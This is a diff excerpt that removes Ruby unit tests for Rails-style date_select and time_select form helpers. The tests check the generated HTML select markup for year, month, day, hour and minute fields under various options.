-    expected << "<select id='post_#{id}_written_on_3i' name='post[#{id}][written_on(3i)]'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<o [...]
-
-    assert_dom_equal(expected, output_buffer)
-  end
-
-  def test_date_select_with_index
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-    id = 456
-
-    expected = %{<select id="post_456_written_on_1i" name="post[#{id}][written_on(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_456_written_on_2i" name="post[#{id}][written_on(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_456_written_on_3i" name="post[#{id}][written_on(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", :index => id)
-  end
-
-  def test_date_select_with_auto_index
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-    id = 123
-
-    expected = %{<select id="post_123_written_on_1i" name="post[#{id}][written_on(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_123_written_on_2i" name="post[#{id}][written_on(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_123_written_on_3i" name="post[#{id}][written_on(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post[]", "written_on")
-  end
-
-  def test_date_select_with_different_order
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    expected =  %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
-    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-
-    expected <<  %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", :order => [:day, :month, :year])
-  end
-
-  def test_date_select_with_nil
-    @post = Post.new
-
-    start_year = Time.now.year-5
-    end_year   = Time.now.year+5
-    expected =   %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    start_year.upto(end_year) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.year}>#{i}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.month}>#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
-    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.day}>#{i}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on")
-  end
-
-  def test_date_select_with_nil_and_blank
-    @post = Post.new
-
-    start_year = Time.now.year-5
-    end_year   = Time.now.year+5
-    expected =   %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    expected << "<option value=\"\"></option>\n"
-    start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << "<option value=\"\"></option>\n"
-    1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
-    expected << "<option value=\"\"></option>\n"
-    1.upto(31) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", :include_blank => true)
-  end
-
-  def test_date_select_with_nil_and_blank_and_order
-    @post = Post.new
-
-    start_year = Time.now.year-5
-    end_year   = Time.now.year+5
-
-    expected = '<input name="post[written_on(3i)]" type="hidden" id="post_written_on_3i" value="1"/>' + "\n"
-    expected <<   %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    expected << "<option value=\"\"></option>\n"
-    start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << "<option value=\"\"></option>\n"
-    1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", :order=>[:year, :month], :include_blank=>true)
-  end
-
-  def test_date_select_with_nil_and_blank_and_discard_month
-    @post = Post.new
-
-    start_year = Time.now.year-5
-    end_year   = Time.now.year+5
-
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    expected << "<option value=\"\"></option>\n"
-    start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
-    expected << "</select>\n"
-    expected << '<input name="post[written_on(2i)]" type="hidden" id="post_written_on_2i" value="1"/>' + "\n"
-    expected << '<input name="post[written_on(3i)]" type="hidden" id="post_written_on_3i" value="1"/>' + "\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", :discard_month => true, :include_blank=>true)
-  end
-
-  def test_date_select_with_nil_and_blank_and_discard_year
-    @post = Post.new
-
-    expected = '<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="1" />' + "\n"
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << "<option value=\"\"></option>\n"
-    1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
-    expected << "<option value=\"\"></option>\n"
-    1.upto(31) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", :discard_year => true, :include_blank=>true)
-  end
-
-  def test_date_select_cant_override_discard_hour
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", :discard_hour => false)
-  end
-
-  def test_date_select_with_html_options
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="selector">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]" class="selector">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]" class="selector">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
-
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", {}, :class => 'selector')
-  end
-
-  def test_date_select_with_html_options_within_fields_for
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    output_buffer = fields_for :post, @post do |f|
-      concat f.date_select(:written_on, {}, :class => 'selector')
-    end
-
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="selector">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]" class="selector">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]" class="selector">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
-
-    expected << "</select>\n"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_date_select_with_separator
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << " / "
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << " / "
-
-    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
-
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", { :date_separator => " / " })
-  end
-
-  def test_date_select_with_separator_and_order
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    expected = %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
-    expected << "</select>\n"
-
-    expected << " / "
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << " / "
-
-    expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", { :order => [:day, :month, :year], :date_separator => " / " })
-  end
-
-  def test_date_select_with_separator_and_order_and_year_discarded
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    expected = %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
-    expected << "</select>\n"
-
-    expected << " / "
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-    expected << %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-
-    assert_dom_equal expected, date_select("post", "written_on", { :order => [:day, :month, :year], :discard_year => true, :date_separator => " / " })
-  end
-
-  def test_date_select_with_default_prompt
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    expected << %{<option value="">Year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << %{<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
-    expected << %{<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value [...]
-
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", :prompt => true)
-  end
-
-  def test_date_select_with_custom_prompt
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    expected << %{<option value="">Choose year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << %{<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December [...]
-    expected << "</select>\n"
-
-    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
-    expected << %{<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<optio [...]
-
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "written_on", :prompt => {:year => 'Choose year', :month => 'Choose month', :day => 'Choose day'})
-  end
-
-  def test_time_select
-    @post = Post.new
-    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
-
-    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, time_select("post", "written_on")
-  end
-
-  def test_time_select_with_selected
-    @post = Post.new
-    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
-
-    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 12}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 20}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, time_select("post", "written_on", selected: Time.local(2004, 6, 15, 12, 20, 30))
-  end
-
-  def test_time_select_with_selected_nil
-    @post = Post.new
-    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="1" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="1" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="1" />\n}
-
-    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}">#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}">#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, time_select("post", "written_on", discard_year: true, discard_month: true, discard_day: true, selected: nil)
-  end
-
-  def test_time_select_without_date_hidden_fields
-    @post = Post.new
-    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, time_select("post", "written_on", :ignore_date => true)
-  end
-
-  def test_time_select_with_seconds
-    @post = Post.new
-    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
-
-    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %(<select id="post_written_on_6i" name="post[written_on(6i)]">\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, time_select("post", "written_on", :include_seconds => true)
-  end
-
-  def test_time_select_with_html_options
-    @post = Post.new
-    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
-
-    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]" class="selector">\n)
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]" class="selector">\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, time_select("post", "written_on", {}, :class => 'selector')
-  end
-
-  def test_time_select_with_html_options_within_fields_for
-    @post = Post.new
-    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
-    output_buffer = fields_for :post, @post do |f|
-      concat f.time_select(:written_on, {}, :class => 'selector')
-    end
-
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
-
-    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]" class="selector">\n)
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]" class="selector">\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_time_select_with_separator
-    @post = Post.new
-    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
-
-    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    expected << " - "
-
-    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    expected << " - "
-
-    expected << %(<select id="post_written_on_6i" name="post[written_on(6i)]">\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, time_select("post", "written_on", { :time_separator => " - ", :include_seconds => true })
-  end
-
-  def test_time_select_with_default_prompt
-    @post = Post.new
-    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
